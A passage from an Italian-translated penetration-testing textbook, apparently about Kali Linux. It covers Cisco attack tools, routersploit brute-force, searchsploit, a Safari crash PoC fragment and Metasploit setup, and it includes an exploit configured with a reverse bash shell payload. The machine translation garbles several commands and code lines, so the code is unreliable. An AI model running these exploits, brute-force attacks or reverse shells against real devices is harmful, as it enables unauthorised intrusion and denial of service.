sesto o decimo tentativo. Alcune vulnerabilità funzionano semplicemente
in questo modo. È qui che entrano in gioco diligenza e persistenza. Il lavoro
di qualcuno che esegue test di sicurezza non è semplice o diretto. I test di
sicurezza e lo sfruttamento delle vulnerabilità sono un lavoro complesso e
si potrebbe persino dire artistico. Sì, seguiamo un processo ove possibile,
rendendolo un'impresa tecnica, forse scientifica. Tuttavia, un forte
elemento di creatività, diligenza e altri tratti lo spingono più verso il lato
artistico.
NOTA
Eseguire qualsiasi exploit può compromettere l'integrità del sistema e potenzialmente i dati su quel
sistema. È qui che devi essere diretto nella tua comunicazione con il tuo obiettivo, supponendo che tu
stia lavorando a stretto contatto con lui. Se la situazione è veramente squadra rossa contro squadra
blu, e nessuno dei due sa davvero l'esistenza dell'altro, potrebbe essere una questione di tutto è lecito
in amore e compromessi di sistema. Assicurati di conoscere le aspettative del tuo impegno e di non
fare nulla che sia deliberatamente dannoso o illegale.
Attacchi Cisco
Router e switch sono dispositivi di rete. Un router collega una rete a
un'altra rete o a molte altre reti. Uno switch consente ai dispositivi di
connettersi a una rete cablata. I router sono comunemente gestiti da
remoto, sia tramite un'interfaccia web su router più piccoli o tramite
accesso SSH diretto su router di livello aziendale. Il router è un dispositivo
gateway che sposta il traffico da una rete basata su IP a un'altra.
Probabilmente hai un router a casa, anche se la funzionalità di routing
potrebbe essere integrata in un dispositivo multifunzione che include
anche uno switch e un punto di accesso wireless. Il router ha una singola
rete all'interno della tua casa e un'altra rete sul lato del fornitore di servizi.
Il router sposta il traffico, se necessario, da un lato all'altro utilizzando
principalmente il routing statico, dove sa che c'è una rete IP da un lato e
tutte le altre reti dall'altro lato. Questo è diverso dall'ottenere un router di
livello aziendale, che utilizza protocolli di routing come Open Shortest Path
First (OSPF), Interior Border Gateway Protocol (I-BGP) o Intermediate
System to Intermediate System (IS-IS).
Gli switch nelle reti aziendali possono anche avere capacità di gestione, tra
cui la gestione di reti locali virtuali (VLAN), Spanning Tree Protocol (STP),
meccanismi di accesso, autenticazione dei dispositivi che si collegano alla
rete e altre funzioni correlate alla connettività di livello 2. Di conseguenza,
proprio come i router, questi switch hanno in genere una porta di gestione
che consente l'accesso dalla rete per gestire i dispositivi. Ciò può essere
fatto tramite un'interfaccia Web, ma può anche avvenire con l'accesso da
riga di comando tramite SSH.
Sia i router che gli switch, indipendentemente dal fornitore, possono avere
vulnerabilità. Dopotutto, eseguono software specializzati. Ogni volta che
c'è software, c'è la possibilità di bug. Cisco ha una grande quota di mercato
nello spazio aziendale. Pertanto, proprio come con Microsoft Windows,
Cisco è un grande obiettivo per la scrittura di software per lo sfruttamento.
Kali ha strumenti correlati ai dispositivi Cisco. Questi exploit dei dispositivi
Cisco possono creare condizioni di negazione del servizio, consentire la
possibilità che altri attacchi abbiano successo o fornire a un aggressore
l'accesso al dispositivo in modo che le configurazioni possano essere
modificate.
MANCIA
I router e gli switch eseguono software, ma lo eseguono da un posto speciale. Invece di essere
archiviato su un disco e caricato da lì, il software viene scritto in microchip chiamati circuiti integrati
specifici per applicazione (ASIC). Quando il software viene archiviato in hardware in questo modo,
viene definito firmware .
Alcuni degli strumenti utilizzati per la ricerca di vulnerabilità possono
essere utilizzati anche per lo sfruttamento. Uno strumento come CAT non
solo cercherà i dispositivi Cisco su una rete, ma eseguirà anche attacchi
brute-force contro tali dispositivi. Se questi dispositivi hanno
un'autenticazione debole, ovvero sono configurati male, questa è una
vulnerabilità che può essere sfruttata. Uno strumento come CAT potrebbe
essere utilizzato per acquisire password per ottenere l'accesso ai
dispositivi. Questa è una vulnerabilità e uno sfruttamento semplici.
Protocolli di gestione
I dispositivi Cisco supportano diversi protocolli di gestione. Tra questi,
SNMP, SSH, Telnet e HTTP. I dispositivi Cisco hanno server Web incorporati.
Questi server Web possono essere attaccati, sia dal punto di vista delle
credenziali compromesse che dal server Web stesso, per creare attacchi di
negazione del servizio e altre compromissioni del dispositivo. Possono
essere utilizzati vari strumenti per attaccare questi protocolli di gestione.
Uno di questi è ciscotorch .
Il programma cisco-torch è uno scanner che può cercare dispositivi Cisco
sulla rete in base a questi diversi protocolli. Può anche identificare
vulnerabilità all'interno del server Web che potrebbero essere in
esecuzione sui dispositivi Cisco. Il programma utilizza un set di file di testo
per eseguire l'impronta digitale sui dispositivi che trova per identificare i
problemi che potrebbero esistere in quei file. Inoltre, utilizza più thread
per eseguire le scansioni più velocemente. Se si desidera modificare la
configurazione o visualizzare i file utilizzati per il suo funzionamento, è
possibile guardare il file di configurazione in /etc/ciscotorch/torch.conf ,
come mostrato nell'esempio 5-1 .
Esempio 5-1. File /etc/cisco-torch/torch.conf
┌──(kilroy@badmilo)-[~]
└─$ sudo cat /etc/cisco-torch/torch.conf
$max_processes=50; #Processo massimo
$hosts_per_process=5; #Massimo host per processo
$passfile= "password.txt"; #Database delle parole
password
$communityfile="community.txt"; #Comunità SNMP d
$usersfile="users.txt"; # Database di parole
degli utenti
$brutefile="brutefile.txt"; #file TFTP parola
database
$improntadb = "impronta.db"; #Telnetfin
$tfingerprintdb = "tfingerprint.db"; #impronta
digitale TFTP
$tftprootdir="tftproot"; # directory radice TFT
$tftpserver ="192.168.77.8"; #nome host del
server TFTP
$tmplogprefix = "/tmp/tmplog"; #Direzione file
temporanei
$logfile="scan.log"; #Nome file del file di
registro
$llevel="cdv"; #Livello registro
$port = 80; #Porta del servizio Web
I file menzionati nel file di configurazione si trovano in /usr/share/ciscotorch . Uno degli elenchi che puoi vedere nel file di configurazione è
l'elenco delle password che possono essere utilizzate. È qui che cisco-torch
può essere utilizzato come strumento di exploit. Il programma può essere
utilizzato per lanciare attacchi brute-force alle password contro i dispositivi
che identifica. Se il file delle password utilizzato da ciscotorch non è
abbastanza esteso, puoi modificare il file utilizzato nelle impostazioni di
configurazione e utilizzarne uno che hai trovato o creato. Un file delle
password più grande può fornire un grado di successo più elevato,
ovviamente, anche se aumenterà anche la quantità di tempo impiegato per
l'attacco. Più password provi, più voci di accesso non riuscite creerai nei
log, il che potrebbe essere notato.
Un altro programma che viene utilizzato più direttamente per lo
sfruttamento è il programma Cisco Global Exploiter (CGE). Questo script
Perl può essere utilizzato per lanciare attacchi noti contro obiettivi. Lo
script non tenta attacchi casuali e non è lì per creare nuovi attacchi. cge.pl
ha 14 attacchi che otterranno risultati diversi. Ci sono anche alcuni attacchi
denial-of-service. Un attacco denial-of-service impedirà ai dispositivi Cisco
di funzionare correttamente. Alcuni di essi sono focalizzati su protocolli di
gestione come Telnet o SSH. Altre vulnerabilità possono consentire
l'esecuzione di codice remoto. L'esempio 5-2 mostra l'elenco delle
vulnerabilità supportate da cge.pl. La gestione degli attacchi denial-ofservice impedirà al traffico di gestione di raggiungere il dispositivo ma in
genere non comprometterà la funzionalità principale del dispositivo. Vedrai
anche un tentativo di exploit di un sistema remoto che utilizza una
vulnerabilità Cisco Catalyst Memory Leak. Cisco Catalyst è un marchio di
dispositivi di accesso alla rete, inclusi switch e punti di accesso wireless.
Questo exploit cerca un server Telnet sull'obiettivo.
Esempio 5-2. Exploit disponibili in cge.pl
┌──(kilroy@badmilo)-[~]
└─$ cge.pl
Utilizzo: perl cge.pl <target> <numero
vulnerabilità>
Elenco delle vulnerabilità:
[1] - Vulnerabilità di overflow del buffer
Telnet Cisco 677/678
[2] - Vulnerabilità Denial of Service del router
Cisco IOS
[3] - Vulnerabilità di autenticazione HTTP Cisco
IOS
[4] - Amministrazione arbitraria della
configurazione HTTP di Cisco IOS
[5] - Negazione di mancata corrispondenza del
protocollo SSH di Cisco Catalyst
[6] - Cisco 675 Web Administration Negazione del
servizio
[7] - Cisco Catalyst 3500 XL Com remoto
arbitrario
[8] - Negazione della richiesta HTTP del
software Cisco IOS S
[9] - Vulnerabilità Cisco 514 UDP Flood Denial
of Service
[10] - Negazione di CiscoSecure ACS per Windows
NT Server
[11] - Vulnerabilità di perdita di memoria di
Cisco Catalyst
[12] - Buffer del server HTTP Cisco CatOS
CiscoView O
[13] - 0 Vulnerabilità di bypass IDS di codifica
(UTF)
[14] - Vulnerabilità di negazione del servizio
HTTP Cisco IOS
┌──(kilroy@badmilo)-[~]
└─$ cge.pl 192.168.1.1 11
Input the number of repetitions : 50
Altri dispositivi
Un'utilità da considerare attentamente se si stanno esaminando
organizzazioni più piccole è router sploit . Questo programma è un
framework, che adotta l'approccio per cui moduli aggiuntivi possono
essere sviluppati e aggiunti al framework per continuare ad estendere la
funzionalità. routersploit ha exploit per alcuni dispositivi Cisco ma anche
per dispositivi più piccoli come 3COM, Belkin, DLink, Huawei e altri. Al
momento in cui scrivo, routersploit ha 84 moduli disponibili per l'uso. Non
tutti sono mirati a dispositivi o vulnerabilità specifici. Alcuni dei moduli
sono attacchi alle credenziali, che consentono il brute-force di protocolli
come SSH, Telnet, HTTP e altri. L'esempio 5-3 mostra l'uso di uno dei
moduli brute-force. Per entrare nell'interfaccia mostrata, eseguiamo
routersploit dalla riga di comando.
Esempio 5-3. Utilizzo di routersploit per la forza bruta SSH
rsf (credenziali SSH predefinite del router
Huawei) > usa le credenziali rsf (bruteforce SSH)
> mostra le opzioni
Opzioni di destinazione:
Nome Impostazioni correnti Descrizione ---- --------------- ---------- destinazione Porta annuncio
IPv4, IPv6 di destinazione 22 Porta SSH di
destinazione
Opzioni del modulo:
Nome Impostazioni correnti Descript ---- --------------- ------ verbosità true Visualizza thread
8 Numero di nomi utente admin Nome utente
password file:///usr/lib/python3/dist
wordlists/passwords.txt ↩ Password
stop_on_success true Stop on
Per caricare un modulo in routersploit , si usa il modulo. Dopo che il
modulo è caricato, ha un set di opzioni che devono essere popolate per
poterlo eseguire. L'esempio 5-3 mostra le opzioni per l'attacco brute-force
SSH. Alcune delle opzioni hanno impostazioni predefinite che potrebbero
funzionare bene. In altri casi, è necessario specificare il valore, ad esempio
l' impostazione di destinazione . Questo indica il dispositivo su cui si
desidera eseguire l'exploit. Questo è solo un esempio di un modulo
disponibile in routersploit . L'esempio 5-4 mostra un elenco parziale di altri
moduli disponibili. In questo elenco vedrai tutti i router, ma routersploit
include anche exploit per le telecamere.
Esempio 5-4. Elenco parziale degli exploit
exploit/router/thomson/twg849_info_disclosure
exploit/router/miliardo/miliardo_5200w_rce
exploit/router/miliardo/miliardo_7700nr4_password
exploit/router/zte/zxv10_rce
exploit/router/zte/f460_f660_backdoor
exploit/router/zte/zxhn_h108n_wifi_password_dis
exploit/router/movistar/adsl_router_bhs_rta_pat
exploit/router/netsys/multi_rce
exploit/router/huawei/hg520_info_disclosure
exploit/router/huawei/e5331_mifi_info_disclosu
exploit/router/huawei/hg530_hg520b_password_dis
exploit/router/huawei/hg866_password_change
exploit/router/technicolor/tc7200_password_disc
exploit/router/technicolor/tc7200_password_disc
exploit/router/technicolor/tg784_authbypass
exploit/router/technicolor/dwg855_authbypass
exploit/router/belkin/n750_rce
exploit/router/belkin/auth_bypass
exploit/router/belkin/play_max_prce
exploit/router/belkin/g_plus_info_disclosure
exploit/router/belkin/n150_path_traversal
exploit/router/belkin/g_n150_password_disclosu
exploit/router/ipfire/ipfire_shellshock
exploit/router/ipfire/ipfire_oinkcode_rce
exploit/router/ipfire/ipfire_proxy_rce
exploit/router/dlink/dir_300_645_815_upnp_rce
exploit/router/dlink/dir_300_320_600_615_info_d
exploit/router/dlink/dsl_2730b_2780b_526b_dns_c
exploit/router/dlink/dwr_932_info_disclosure
Come puoi vedere, molti produttori di dispositivi più piccoli sono presi di
mira con exploit. I moduli exploit elencati hanno vulnerabilità associate. Ad
esempio, un exploit Huawei nell'elenco ha un annuncio di vulnerabilità ad
esso associati. Se desideri maggiori dettagli sulle vulnerabilità per farti
un'idea di cosa potresti essere in grado di realizzare eseguendo l'exploit,
puoi cercare l'exploit elencato e trovare l'annuncio di sicurezza che fornisce
dettagli, inclusi rimedi, per la vulnerabilità. Non tutti gli exploit avranno
vulnerabilità poiché alcuni di essi potrebbero essere exploit brute-force
che non riguardano la vulnerabilità a un bug nel software o firmware
sottostante.
Database di exploit
Quando vengono scoperte delle vulnerabilità, può essere sviluppata una
proof of concept che la sfrutterà. Mentre la vulnerabilità è spesso
disponibile in più posti, specialmente con il fornitore, il codice proof of
concept sarà molto probabilmente archiviato nel sito web Exploit Database
se è pubblico. Il sito stesso è una grande risorsa , con un sacco di codice da
cui puoi imparare se vuoi capire meglio come funzionano gli exploit. Poiché
è una grande risorsa, il codice dal sito web è disponibile in Kali Linux. Tutto
il codice sorgente degli exploit è disponibile in /usr/share/exploitdb .
L'esempio 5-5 mostra un elenco delle categorie/directory in
/usr/share/exploitdb .
Esempio 5-5. Elenco delle directory degli exploit
┌──(kilroy@badmilo)-[/usr/share/exploitdb/exploit
└─$ ls aix freebsd linux_mips osx alpha
freebsd_x86 linux_sparc osx_ppc android
freebsd_x86-64 linux_x86 palm_os arm go
linux_x86-64 perl ashx hardware lua php asp hp-ux
macos plan9 aspx immunix minix python atheos ios
multiplo qnx beos irix netbsd_x86 ruby bsd java
netware sco bsd_x86 json nodejs solaris cfm jsp
novell solaris_sp cgi linux openbsd solaris_x8
In queste directory sono archiviati più di 45.000 file. Sono molti i dati da
esaminare. Puoi scavare nelle directory, cercando di trovare un exploit che
stai cercando, oppure puoi usare uno strumento di ricerca. Sebbene
qualcosa come grep possa funzionare, non fornirà i dettagli di cui hai
realmente bisogno per determinare quale vulnerabilità stai cercando. Kali
Linux è dotato di un'utilità che cercherà nei dettagli di questi exploit. Il
programma searchsploit è facile da usare e fornisce una descrizione del
codice exploit e il percorso per raggiungerlo. L'uso di searchsploit richiede i
termini di ricerca che vuoi cercare. L'esempio 5-6 mostra i risultati di una
ricerca di vulnerabilità relative al kernel Linux.
Esempio 5-6. Exploit del kernel Linux nel repository del database degli
exploit
┌──(kilroy@badmilo)-[/usr/share/exploitdb/exploit
└─$ ricerca sploit kernel linux
-----------------------------------------------
Titolo exploit | Pat
----------------------------------------------Apport 2.19 (Ubuntu 15.04) - Privilegio locale |
lino
Kernel BSD/Linux 2.3 (BSD/OS 4.0 / FreeBSD | bsd/
CylantSecure 1.0 - Modulo Kernel Syscall R | linu
Patch del kernel Grsecurity 1.9.4 (kernel Linux |
linu
Grsecurity Kernel PaX - Privilegio locale Es |
lino
HP-UX 11 / Linux Kernel 2.4 / Windows 2000 |
multiplo
Linux - Perdita di puntatori del kernel tramite
BPF | linu
Linux 4.18 - Kernel arbitrario letto in dm | linu
Linux 5.3 - Escalation dei privilegi tramite
io_ur | lino
Kernel Linux (ARM/ARM64) - 'perf_event_ope | arm/
Kernel Linux (Debian 7.7/8.5/9.0 / Ubuntu | linu
Kernel Linux (Debian 7/8/9/10 / Fedora 23/ | linu
Kernel Linux (Debian 9/10 / Ubuntu 14.04.5 | linu
Kernel Linux (Fedora 8/9) - 'utrace_contro | lino
Kernel Linux (PonyOS 3.0) - Loc caricatore ELF |
lino
Kernel Linux (PonyOS 3.0) - TTY 'ioctl()' | lino
Kernel Linux (PonyOS 3.0) - Permesso VFS | linu
Kernel Linux (PonyOS 4.0) - 'fluttershy' L | linu
Kernel Linux (Solaris 10 / < 5.10 138888-0 | sola
Kernel Linux (Ubuntu/Fedora/RedHat) - | lino
Kernel Linux (Ubuntu 11.10/12.04) - binfmt | lino
Kernel Linux (Ubuntu 14.04.3) - 'perf_even | lino
Kernel Linux (Ubuntu 16.04) - Riferimento Co |
lino
Kernel Linux (Ubuntu 17.04) - Locale 'XFRM' |
lino
Linux Kernel (x86) - Disabilitare ASLR di Setti |
linu
Kernel Linux (x86) - Privi di memoria sinkhole |
lino
Kernel Linux (x86-64) - Rowhammer Privileg | lino
Kernel Linux - 'AF_PACKET' Use-After-Free | lino
Kernel Linux - 'AF_PACKET' Use-After-Free | lino
Kernel Linux - Privilegio locale 'BadIRET' E |
lino
Kernel Linux - 'ecryptfs' '/proc/$pid/envi | lino
Troverai questi exploit in vari linguaggi, tra cui Python, Ruby e,
naturalmente, C. Alcuni codici sorgente forniranno molti dettagli sulla
vulnerabilità e su come funziona l'exploit. Alcuni richiederanno di essere in
grado di leggere il codice. L'esempio 5-7 mostra un frammento di un
programma Ruby che sfrutta una vulnerabilità nel browser web Safari di
Apple. Questo particolare frammento di codice include solo il frammento
HTML che causa l'arresto anomalo. Il codice che lo avvolge è solo un
listener a cui indirizzeresti il tuo browser web. Il programma invia l'HTML al
browser, che poi si blocca. Questo particolare exploit rientra nella categoria
del denial of service. Il file in questione si trova in
exploits/ios/dos/18931.rb .
Esempio 5-7. Prova di concetto per una vulnerabilità di Safari
# Corpo del
pacchetto magico =
"\ <html>\n\
<head><title>PoC di arresto
anomalo</title></head>\n\
<script tipo=\"testo/javascript\">\n\
variabile s = \"poc\";
s.match(\"#{chr*buffer_len}\");\n\ </script>\n\
</html>";
Ciò che non si ottiene in questo particolare frammento o proof of concept
è una spiegazione di come o perché funziona l'exploit. Come ho detto,
alcune delle persone che sviluppano queste proof of concept sono più
brave di altre a commentare il loro lavoro. Questo non è raro tra gli
sviluppatori, necessariamente. Tutto ciò che si ottiene in questo particolare
esempio è un commento che dice che è il pacchetto magico. Per ottenere
maggiori dettagli, dovremmo cercare un
annuncio che potrebbe essere stato associato a questa vulnerabilità. La
maggior parte delle vulnerabilità annunciate pubblicamente sono
catalogate con il progetto CVE, esaurito da MITRE. Se hai un numero CVE
annotato nel codice sorgente, puoi leggere i dettagli lì, e l'annuncio CVE
probabilmente avrà anche dei link agli annunci dei vendor.
Se non sono disponibili exploit in altri posti, puoi compilare o eseguire i
programmi precaricati in Kali per te. Se è un programma C, dovrai prima
compilarlo. Tutti i linguaggi di scripting possono essere eseguiti così come
sono.
Metasfruttamento
Metasploit è un framework di sviluppo exploit. È stato creato oltre 20 anni
fa da HD Moore ed è stato inizialmente scritto nel linguaggio di scripting
Perl, anche se da allora è stato riscritto interamente in Ruby. L'idea alla
base di Metasploit era di semplificare la creazione di exploit. Il framework
è costituito essenzialmente da librerie di componenti. Questi possono
essere importati in script creati da te che eseguiranno un exploit o qualche
altra capacità, come la scrittura di uno scanner.
Gli script scritti per essere utilizzati all'interno di Metasploit includono
moduli inclusi in Metasploit; questi script ereditano anche funzionalità da
classi presenti in altri moduli Metasploit. Solo per darti un'idea di come
appare, l'Esempio 5-8 mostra la testa di uno degli script scritti per sfruttare
il server web Apache in esecuzione su un sistema Windows.
Esempio 5-8. Inizio di uno script di exploit Ruby
##
# Questo modulo richiede Metasploit:
https://metasp
# Fonte attuale: https://github.com/rapid7/metas
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
HttpFingerprint = { :pattern => [ /Apache/ ] }
include Msf::Exploit::Remote::HttpClient
Sotto i commenti, la classe MetasploitModule è una sottoclasse della classe
madre Msf::Exploit::Remote , il che significa che eredita gli elementi di
quella classe. Vedrai anche una proprietà impostata sotto quella. Questa
classificazione indicherà, in parte, il potenziale di successo dell'exploit.
Questa classificazione ci dice che c'è un target predefinito e che l'exploit è
il caso comune per il software preso di mira. In fondo a questo frammento,
vedrai che funzionalità aggiuntive sono importate dalla libreria Metasploit.
Per questo script, poiché è un exploit di un server web, è necessario un
client HTTP per comunicare con il server.
Invece di iniziare da soli a sviluppare script correlati alla sicurezza, potrebbe
essere molto più semplice sviluppare per Metasploit. Tuttavia, non è
necessario essere uno sviluppatore per usare Metasploit. Oltre a payload,
encoder e altre funzioni di libreria che possono essere importate, i moduli
includono exploit pre-scritti. Al momento della stesura, oltre 2.300 exploit
e oltre 1.200 moduli ausiliari forniscono molte funzionalità per la scansione
e l'esplorazione di target. Oltre a ciò, ci sono oltre 1.300 payload diversi.
Metasploit è facile da usare, anche se diventare veramente competenti
richiede un po' di lavoro e pratica. Daremo un'occhiata a come iniziare a
usare Metasploit e come usare exploit e moduli ausiliari. Mentre
Metasploit ha offerte commerciali e le offerte di Rapid7 (la società che
gestisce e sviluppa il software) includono un'interfaccia web, è la versione
community di Metasploit che viene installata di default con Kali Linux. La
versione community non ha un'interfaccia web, il che significa che
useremo un'interfaccia basata su console. Più avanti, daremo un'occhiata a
un'interfaccia grafica che gira su Metasploit se hai intenzione di usare
un'interfaccia grafica.
Iniziando con Metasploit
Sebbene Kali venga fornito con Metasploit installato, non è completamente
configurato. Metasploit utilizza un database dietro l'interfaccia utente. Ciò
gli consente di individuare rapidamente le migliaia di moduli forniti con il
software. Inoltre, il database memorizzerà i risultati, inclusi gli host di cui è
a conoscenza, le vulnerabilità che potrebbero essere state identificate e
qualsiasi bottino estratto dagli host presi di mira e sfruttati. Sebbene sia
possibile utilizzare Metasploit senza il database configurato e connesso, è
molto meglio utilizzare il database. Fortunatamente, configurarlo è
semplice. Tutto ciò che devi fare è eseguire msfdb init dalla riga di
comando e svolgerà il lavoro di configurazione del database con le tabelle,
nonché di creazione del file di configurazione del database che msfconsole
utilizzerà. L'esempio 5-9 mostra l'utilizzo di msfdb init e il suo output.
Esempio 5-9. Inizializzazione del database per Metasploit
┌──(kilroy@badmilo)-[~]
└─$ sudo msfdb init
[+] Avvio del database
[+] Creazione dell'utente del database 'msf'
[+] Creazione di database 'msf'
[+] Creazione dei database 'msf_test'
[+] Creazione del file di configurazione
'/usr/share/metas
[+] Creazione dello schema iniziale del database
Dopo aver impostato il database (e per impostazione predefinita, msfdb
configurerà una connessione al database PostgreSQL), puoi usare
Metasploit. In passato c'erano un paio di modi per usare Metasploit.
Attualmente, il modo per accedere alle funzionalità di Metasploit è
eseguire msfconsole . Questo script Ruby fornisce una console interattiva.
Da questa console, puoi impartire comandi per individuare i moduli,
caricare i moduli, interrogare il database ed eseguire altre funzioni.
L'esempio 5-10 mostra l'avvio di msfconsole e il controllo della connessione
al database tramite db_status .
Esempio 5-10. Avvio di msfconsole
┌──(kilroy@badmilo)-[~]
└─$ sudo msfconsole
_---------.
.' ####### ;." .---,. ;@ @@`; .---,..
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
"--'.@@@ -.@ @ ,'- .'--"
".@' ; @ @ `. ;' |@@@@ @@@ @ .
' @@@ @@ @@ , `.@@@@ @@ .
',@@ @ ; ________
( 3 C ) /|___ / Metaspl
;@'. __*__,." \|--- \________
'(.,...."/
=[ metasploit v6.3.25-dev
+ -- --=[ 2332 exploit - 1219 ausiliari - 413 po
+ -- --=[ 1385 payload - 46 encoder - 11 nops
+ -- --=[ 9 evasione
Metasploit tip: View a module's description using
info, or the enhanced version in your browser wit
info -d
Metasploit Documentation: https://docs.metasploit
msf6 > db_status
[*] Connected to msf. Connection type: postgresql
Una volta caricato msfconsole , possiamo iniziare a usare la sua
funzionalità. Alla fine, caricheremo i moduli per usare questa funzionalità. I
moduli faranno il lavoro per noi. Tutto ciò che dobbiamo fare è riuscire a
trovare il modulo giusto e caricarlo e configurarlo, dopodiché potremo
eseguirlo.
Lavorare con i moduli Metasploit
Come indicato in precedenza, possono essere utilizzati migliaia di moduli.
Alcuni di questi sono moduli ausiliari; alcuni sono exploit. Ci sono altri
moduli, ma ci concentreremo sull'utilizzo di questi due per iniziare. Il primo
passo è individuare un modulo. Per trovarne uno, utilizziamo search . Puoi
cercare sistemi operativi, applicazioni, tipi di modulo o parole nella
descrizione. Una volta individuato un modulo, lo vedrai rappresentato
come se fosse un file in una gerarchia di directory. Il motivo è che, in
definitiva, è esattamente quello che è. Tutti i moduli sono archiviati come
file Ruby nella gerarchia di directory che vedrai. Per caricare il modulo e
utilizzarlo, utilizziamo il comando use . Puoi vedere il caricamento di un
modulo nell'esempio 5-11 . Ciò è stato fatto dopo aver cercato uno scanner
e averne selezionato uno. Una volta caricato il modulo, ho mostrato le
opzioni in modo che tu possa vedere cosa deve essere impostato prima di
eseguirlo.
Esempio 5-11. Opzioni per il modulo scanner
msf6 > usa ausiliario/scanner/smb/smb_version
msf6 ausiliario(scanner/smb/smb_version) > mostra
op Opzioni modulo
(ausiliario/scanner/smb/smb_version
Nome Impostazione corrente Obbligatoria
Descrizione
---- --------------- -------- --------RHOSTS sì Il target .metasploit/basics/u THREADS
1 sì Il numero x uno per Visualizza le
informazioni complete del modulo con info, o info
Questo modulo è semplice. L'unica opzione che dobbiamo impostare è
la variabile degli host remoti, chiamata RHOSTS . Puoi vedere che è
obbligatoria, ma non ha un valore predefinito. Dovresti fornire un
indirizzo IP, un intervallo di indirizzi o un blocco CIDR. L'unica altra
variabile che deve essere impostata è THREADS , che indica il numero di
thread di elaborazione che saranno assegnati a questo modulo. Questa
impostazione ha un valore predefinito, anche se se vuoi che la scansione
vada più veloce, puoi aumentare il numero di thread per inviare più
messaggi contemporaneamente.
NOTA
Mentre puoi usare una stringa di ricerca con applicazioni o sistemi operativi, Metasploit usa anche
parole chiave per ottenere risposte mirate. Per restringere i risultati della ricerca, usa le seguenti
parole chiave: app, author, bid, cve, edb, name, platform, ref e type . La parola chiave bid è un ID
Bugtraq, cve è un numero Common Vulnerabilities and Exposures, edb è un identificatore Exploit-DB e
type è il tipo di modulo (exploit, ausiliario o post). Dopo la parola chiave, aggiungi due punti e poi il
valore. Non devi usare stringhe intere. Puoi usare cve2024 per cercare CVE che includono 2024, che
dovrebbe essere tutti i CVE dell'anno 2024.
Gli exploit sono essenzialmente gli stessi del modulo ausiliario. Devi
comunque usare il modulo. Avrai delle variabili che devono essere
impostate. Dovrai comunque impostare il tuo target, anche se con un
exploit stai guardando solo un singolo sistema, il che rende la variabile
RHOST piuttosto che RHOSTS . Inoltre, con un exploit, probabilmente avrai
una variabile RPORT da impostare. Questa è una variabile che in genere
avrebbe un set predefinito in base al servizio che è preso di mira. Tuttavia, i
servizi non vengono sempre eseguiti sulla porta predefinita. Quindi, la
variabile è lì se hai bisogno di reimpostarla, ma potresti non aver bisogno
di toccarla. L'esempio 5-12 mostra un exploit che ha opzioni semplici. Ciò è
correlato a una vulnerabilità con il servizio del compilatore C distribuito,
distcc .
Esempio 5-12. Opzioni per l'exploit distcc
msf6 ausiliario(scanner/smb/smb_version) > usa
uni [*] Nessun payload configurato, predefinito
su cmd/unix msf6 exploit(unix/misc/distcc_exec) >
mostra opzione Opzioni modulo
(exploit/unix/misc/distcc_exec):
Nome Impostazione corrente Obbligatoria
Descrizione
---- --------------- -------- --------CHOST no Il locale
CPORT no I proxy locali no Un proxy ch rt[,type:h
RHOSTS sì Il target .metasploit/basics/u RPORT
3632 sì Il target
Payload options (cmd/unix/reverse_bash):
Name
Current Setting
Required
Description
---LHOST
--------------192.168.1.254
-------yes
----------The listen a
yes
specified)
The listen p
LPORT
4444
Exploit target:
Id
--
Name
----
0
Automatic Target
Vedrai il blocco Exploit target , che è la variazione dell'exploit da usare.
Alcuni exploit avranno target diversi, che potresti vedere con gli exploit di
Windows. Il motivo è che versioni di Windows come Windows 7, 8 e 10
hanno strutture di memoria diverse e i servizi potrebbero comportarsi in
modo diverso. Ciò potrebbe forzare l'exploit a comportarsi in modo diverso
in base alla versione del sistema operativo target. Potresti ottenere un
target automatico con la possibilità di cambiare. Poiché questo particolare
servizio non è influenzato dalle differenze nel sistema operativo, non c'è
bisogno di target diversi. Invece, c'è un targeting automatico, che potresti
comunque ottenere come opzione anche nei casi in cui ci sono più target.
Importazione dei dati
Metasploit può usare risorse esterne per popolare il database. La prima
cosa che possiamo fare è usare nmap da msfconsole . Questo popolerà
automaticamente il database con tutti gli host trovati e i servizi in
esecuzione. Invece di chiamare direttamente nmap , usi db_nmap , ma
useresti comunque gli stessi parametri della riga di comando. L'esempio 513 mostra l'esecuzione di db_nmap per fare una scansione SYN con il più
alto throttle rate possibile, che si spera la renderà completa più
velocemente.
Esempio 5-13. Esecuzione di db_nmap
msf6 exploit(unix/misc/distcc_exec) > db_nmap -sS
[*] Nmap: avvio di Nmap 7.94 ( https://nmap.org
[*] Nmap: Attenzione: 192.168.1.1 rinuncia alla
porta
[*] Nmap: rapporto di scansione Nmap per
192.168.1.1 [*] Nmap: l'host è attivo
(latenza 0,0088 s).
[*] Nmap: Non mostrato: 987 porte tcp chiuse
(reset
[*] Nmap: SERVIZIO DELLO STATO DEL PORTO
[*] Nmap: 22/tcp ssh filtrato
[*] Nmap: telnet filtrato 23/tcp
[*] Nmap: 53/tcp dominio aperto
[*] Nmap: 80/tcp aperto http
[*] Nmap: 111/tcp rpcbind filtrato
[*] Nmap: 139/tcp aperto netbios-ssn
[*] Nmap: 443/tcp aperto https
[*] Nmap: 445/tcp aperto microsoft-ds
[*] Nmap: 5000/tcp aperto upnp
[*] Nmap: 8200/tcp aperto trivnet1
[*] Nmap: 20005/tcp aperto btx
[*] Nmap: 49152/tcp aperto sconosciuto
[*] Nmap: 49153/tcp aperto sconosciuto
[*] Nmap: Indirizzo MAC: 80:CC:9C:DD:71:F2
(Netgea
[*] Nmap: Rapporto di scansione Nmap per
192.168.1.10 [*] Nmap: L'host è attivo
(latenza 0,032 s).
[*] Nmap: Non mostrato: 995 porte tcp chiuse
(reset
[*] Nmap: SERVIZIO DELLO STATO DEL PORTO
[*] Nmap: 22/tcp apre ssh
[*] Nmap: 111/tcp aperto rpcbind
[*] Nmap: 139/tcp aperto netbios-ssn
[*] Nmap: 445/tcp aperto microsoft-ds
[*] Nmap: 2049/tcp aperto nfs
[*] Nmap: Indirizzo MAC: 1C:69:7A:F1:2A:E0
(EliteG
Una volta completato lo scanner delle porte, tutti gli host saranno nel
database. Inoltre, tutti i servizi saranno disponibili per la visualizzazione.
Guardando gli host, otterrai l'indirizzo IP, l'indirizzo MAC, il nome del
sistema e il sistema operativo, se disponibile. Per ottenere il sistema
operativo, devi far eseguire a nmap una scansione del sistema operativo
per ottenere quel valore. L'indirizzo MAC è popolato perché sto eseguendo
la scansione sulla rete locale. Se dovessi eseguire la scansione in remoto,
